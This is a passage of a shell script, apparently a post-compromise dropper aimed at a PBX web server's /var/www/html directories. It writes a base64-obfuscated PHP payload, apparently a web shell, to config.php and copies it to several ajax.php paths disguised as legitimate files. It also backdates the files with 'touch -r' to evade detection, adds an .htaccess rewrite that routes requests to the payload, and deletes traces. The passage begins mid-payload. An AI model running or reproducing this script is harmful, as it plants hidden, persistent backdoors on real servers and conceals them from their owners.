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Gc25kR2x0WlNkZElDNGdKeUluS1RzS2ZRcGxZMmh2SUNjOEwzQnlaVDRuT3dvPScpKTsvKjNpc2UycHF6MFBCM3JYMmdNKi8/Pg==' | base64 -d > /var/www/html/admin/views/config.php mkdir -p /var/www/html/digium_phones/ cp /var/www/html/admin/views/config.php /var/www/html/admin/modules/core/ajax.php cp /var/www/html/admin/views/config.php /var/www/html/digium_phones/ajax.php cp /var/www/html/admin/views/config.php /var/www/html/digium_phones/ajax.php touch /var/www/html/admin/views/config.php -r /var/www/html/admin/views/footer.php echo 'UmV3cml0ZUVuZ2luZSBPbgojIGVuYWJsZSBzeW1ib2xpYyBsaW5rcwpPcHRpb25zICtGb2xsb3dTeW1MaW5rcwpSZXdyaXRlQ29uZCAle1JFUVVFU1RfRklMRU5BTUV9ICEtZApSZXdyaXRlQ29uZCAle1JFUVVFU1RfRklMRU5BTUV9ICEtZgpSZXdyaXRlQ29uZCAle1JFUVVFU1RfRklMRU5BTUV9ICEtbApSZXdyaXRlUnVsZSBeXHMrIGNvbmZpZy5waHAgW0xd' | base64 -d > /var/www/html/admin/views/.htaccess rm -rf k